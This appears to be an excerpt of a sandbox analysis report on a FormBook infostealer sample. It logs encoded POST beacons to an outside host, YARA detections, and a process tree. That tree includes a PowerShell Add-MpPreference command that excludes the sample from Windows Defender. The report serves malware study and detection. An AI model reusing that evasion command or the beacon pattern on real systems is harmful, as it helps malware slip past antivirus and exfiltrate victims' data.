Jul 3, 2024 18:54:52.401451111 CEST	751	OUT	POST /odz6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bayviewcribbage.com Origin: http://www.bayviewcribbage.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.bayviewcribbage.com/odz6/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 74 30 6b 52 46 50 79 48 2b 7a 79 7a 58 66 49 57 39 52 57 6d 4d 67 59 75 30 5a 67 54 61 32 62 41 50 69 35 43 37 78 57 38 30 52 33 64 38 79 33 50 51 49 41 45 47 65 41 4f 51 2b 79 58 69 6d 42 36 34 69 77 70 55 2f 76 59 38 36 47 34 36 30 69 38 72 78 39 34 5a 6f 73 2f 4c 70 36 6f 6e 46 44 57 2b 52 66 53 2f 34 30 6c 57 4e 4a 54 2b 64 79 52 72 70 31 38 57 57 55 69 67 68 41 43 36 4c 74 35 77 49 4f 4e 49 4f 44 47 39 70 68 77 44 44 4b 32 7a 5a 50 75 52 42 49 51 62 6e 64 4b 55 39 38 68 59 6b 31 33 74 41 4f 43 5a 36 36 54 4e 35 71 44 39 45 70 58 73 7a 67 53 54 73 71 51 78 56 2f 55 55 79 76 7a 2f 73 49 49 73 72 2b 52 Data Ascii: Z6ZTG=t0kRFPyH+zyzXfIW9RWmMgYu0ZgTa2bAPi5C7xW80R3d8y3PQIAEGeAOQ+yXimB64iwpU/vY86G460i8rx94Zos/Lp6onFDW+RfS/40lWNJT+dyRrp18WWUighAC6Lt5wIONIODG9phwDDK2zZPuRBIQbndKU98hYk13tAOCZ66TN5qD9EpXszgSTsqQxV/UUyvz/sIIsr+R
Jul 3, 2024 18:54:53.154165983 CEST	409	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 16:54:53 GMT Location: https://www.bayviewcribbage.com/odz6/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49760	142.250.185.83	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:54.933614016 CEST	775	OUT	POST /odz6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bayviewcribbage.com Origin: http://www.bayviewcribbage.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.bayviewcribbage.com/odz6/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 74 30 6b 52 46 50 79 48 2b 7a 79 7a 59 61 41 57 75 32 43 6d 4b 41 59 78 78 5a 67 54 51 57 62 62 50 69 6c 43 37 30 75 4b 30 6a 54 64 39 53 6e 50 58 4e 30 45 42 65 41 4f 59 65 79 59 73 47 41 34 34 69 4d 51 55 39 4c 59 38 37 6d 34 36 31 53 38 72 47 41 75 59 34 73 39 48 4a 36 71 36 56 44 57 2b 52 66 53 2f 34 68 4b 57 4a 6c 54 2b 4f 71 52 72 49 31 2f 56 57 56 51 6a 68 41 43 78 72 74 69 77 49 4f 56 49 4c 61 6a 39 72 70 77 44 47 32 32 79 4d 76 74 59 42 49 4b 57 48 63 65 55 73 56 61 66 6c 31 36 72 47 6e 6e 41 4b 57 6f 46 76 72 5a 68 33 70 30 2b 6a 41 51 54 75 79 69 78 31 2f 2b 57 79 58 7a 74 37 45 76 6a 66 62 79 41 58 4d 49 66 31 53 41 69 38 34 72 61 37 6b 6c 41 4b 42 34 78 41 3d 3d Data Ascii: Z6ZTG=t0kRFPyH+zyzYaAWu2CmKAYxxZgTQWbbPilC70uK0jTd9SnPXN0EBeAOYeyYsGA44iMQU9LY87m461S8rGAuY4s9HJ6q6VDW+RfS/4hKWJlT+OqRrI1/VWVQjhACxrtiwIOVILaj9rpwDG22yMvtYBIKWHceUsVafl16rGnnAKWoFvrZh3p0+jAQTuyix1/+WyXzt7EvjfbyAXMIf1SAi84ra7klAKB4xA==
Jul 3, 2024 18:54:55.659480095 CEST	409	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 16:54:55 GMT Location: https://www.bayviewcribbage.com/odz6/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49761	142.250.185.83	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:57.465045929 CEST	1788	OUT	POST /odz6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.bayviewcribbage.com Origin: http://www.bayviewcribbage.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.bayviewcribbage.com/odz6/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 74 30 6b 52 46 50 79 48 2b 7a 79 7a 59 61 41 57 75 32 43 6d 4b 41 59 78 78 5a 67 54 51 57 62 62 50 69 6c 43 37 30 75 4b 30 6a 62 64 38 6b 72 50 58 71 59 45 41 65 41 4f 48 75 79 49 73 47 41 35 34 69 55 55 55 39 33 49 38 2f 57 34 38 6a 6d 38 74 79 55 75 52 34 73 39 50 70 36 70 6e 46 44 44 2b 51 76 57 2f 34 78 4b 57 4a 6c 54 2b 50 61 52 38 4a 31 2f 5a 32 55 69 67 68 41 57 36 4c 73 4e 77 49 57 46 49 4c 76 57 39 62 4a 77 45 6d 47 32 2b 59 50 74 41 52 49 4d 52 48 63 57 55 73 4a 46 66 6c 6f 44 72 43 6d 43 41 4a 4b 6f 56 71 4f 69 32 57 74 34 67 79 51 77 4f 50 43 42 35 46 4b 4d 55 41 6e 75 72 59 6f 50 6f 64 6a 6c 45 43 6f 35 58 30 66 37 76 74 34 63 53 65 64 4d 4d 4c 55 49 31 66 41 2f 69 36 75 64 70 67 57 62 50 45 50 4a 44 75 31 30 48 68 73 70 57 42 50 79 47 62 4c 32 7a 65 4f 30 77 31 43 33 71 75 6d 76 69 53 70 6c 39 4d 71 4d 2f 59 43 6d 63 53 67 55 47 75 49 74 31 76 65 71 30 53 36 70 30 45 4f 6e 73 41 4f 4b 52 32 41 30 4e 57 4a 75 54 5a 33 77 57 78 7a 5a 44 33 44 4a 2b 4f 42 4b 6d 33 33 77 [TRUNCATED] Data Ascii: Z6ZTG=t0kRFPyH+zyzYaAWu2CmKAYxxZgTQWbbPilC70uK0jbd8krPXqYEAeAOHuyIsGA54iUUU93I8/W48jm8tyUuR4s9Pp6pnFDD+QvW/4xKWJlT+PaR8J1/Z2UighAW6LsNwIWFILvW9bJwEmG2+YPtARIMRHcWUsJFfloDrCmCAJKoVqOi2Wt4gyQwOPCB5FKMUAnurYoPodjlECo5X0f7vt4cSedMMLUI1fA/i6udpgWbPEPJDu10HhspWBPyGbL2zeO0w1C3qumviSpl9MqM/YCmcSgUGuIt1veq0S6p0EOnsAOKR2A0NWJuTZ3wWxzZD3DJ+OBKm33wC9vvxCdwCn0hc8L0OTpUTgHjlKmHJsOSDhu/3nclNY29o9N2FFbYQZCe3p64RLKPNTcPUg2tsJw+KPdk/GGBOe/tmw9S467PnWh6JaiKjNahNELbWxa92XkX88w/5+kVuROe4XrCJ9fXy7fBWUzGfgclknelG+N4VTjiCCAlTpXLAK3LhEGpighYPQlrDVsNVeOwQNatDBQg2PYYmhHJ7tlrR7JMknYOe2sdl5HCw2dlTlT7fZfUOOv5iApGn2D1TNats92j00rPYd5aQBPPZDxv8FuIgG85TASJucAXPkfkXC+Udkh6AA30jJTSTOMdC+jG97KVfkgN5jCnGzK7kgSv8tqay33k/GwK5/ruM90NCPkyK89ZBOOdTFlRMzBoS8WJ88RUKkmvUTbo2xGKvmglq4Z/dSPR8NQW9ItsTQ7ZsEUf7nO9syBRjlzswM4+aSmAGQmTNVXuDOfNEExV9bWMY1ErAYgXQK+qOBHRt6d5txrpyLZfUAoSaNS7fnpObg/4iUSYV5YTTXjAVAeqRz4/nwKAGOY1TSnhXgcC3Ynhs1+9QNEs6bkTx1Z0U/LOgLfz96uCU9IpKj1MbzqbyObwgBmbvOe/I2mprBYZQHttkoaEX20ufH+tqZeC7yGi29+qKWro8u7wCSiS4Qz0BEAAsXcfwWVjj7 [TRUNCATED]
Jul 3, 2024 18:54:58.193600893 CEST	409	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 16:54:58 GMT Location: https://www.bayviewcribbage.com/odz6/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49762	142.250.185.83	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:59.995413065 CEST	485	OUT	GET /odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr+d5ouA/hJc9ntyVwHyC0jENaFifi0j0/YggYyTtohP/rQs3Pv13bgnK1VWNIV+aS38IFIZFluiy4+zt0Ak7+zX+w=&3pSl=bXiTJHhxyN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.bayviewcribbage.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:55:00.746496916 CEST	570	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 16:55:00 GMT Location: https://www.bayviewcribbage.com/odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr+d5ouA/hJc9ntyVwHyC0jENaFifi0j0/YggYyTtohP/rQs3Pv13bgnK1VWNIV+aS38IFIZFluiy4+zt0Ak7+zX+w%3D&3pSl=bXiTJHhxyN Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Target ID:	0
Start time:	12:51:55
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe"
Imagebase:	0x1df09ec0000
File size:	2'928'646 bytes
MD5 hash:	0D866E84B1B42F3B924D671DB5B3B40E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	12:51:55
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	12:51:56
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe" -Force
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	12:51:56
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	12:51:57
Start date:	03/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Imagebase:
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	12:51:57
Start date:	03/07/2024
Path:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Imagebase:	0x910000
File size:	166'912 bytes
MD5 hash:	A7790328035BBFCF041A6D815F9C28DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	12:51:57
Start date:	03/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1512 -s 1456
Imagebase:	0x7ff710020000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	12:52:00
Start date:	03/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	12:52:10
Start date:	03/07/2024
Path:	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe"
Imagebase:	0xa70000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	13
Start time:	12:52:12
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\sc.exe"
Imagebase:	0x890000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	14
Start time:	12:52:24
Start date:	03/07/2024
Path:	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe"
Imagebase:	0xa70000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	15
Start time:	12:52:28
Start date:	03/07/2024
Path:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Imagebase:	0x910000
File size:	166'912 bytes
MD5 hash:	A7790328035BBFCF041A6D815F9C28DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	16
Start time:	12:52:29
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\unregmp2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
Imagebase:	0xbf0000
File size:	214'528 bytes
MD5 hash:	51629AAAF753C6411D0B7D37620B7A83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	12:52:29
Start date:	03/07/2024
Path:	C:\Windows\System32\unregmp2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
Imagebase:	0x7ff6d64f0000
File size:	265'216 bytes
MD5 hash:	A6FC8CE566DEC7C5873CB9D02D7B874E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	12:52:37
Start date:	03/07/2024
Path:	C:\Program Files (x86)\Windows Media Player\wmplayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Imagebase:	0x910000
File size:	166'912 bytes
MD5 hash:	A7790328035BBFCF041A6D815F9C28DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	12:52:37
Start date:	03/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true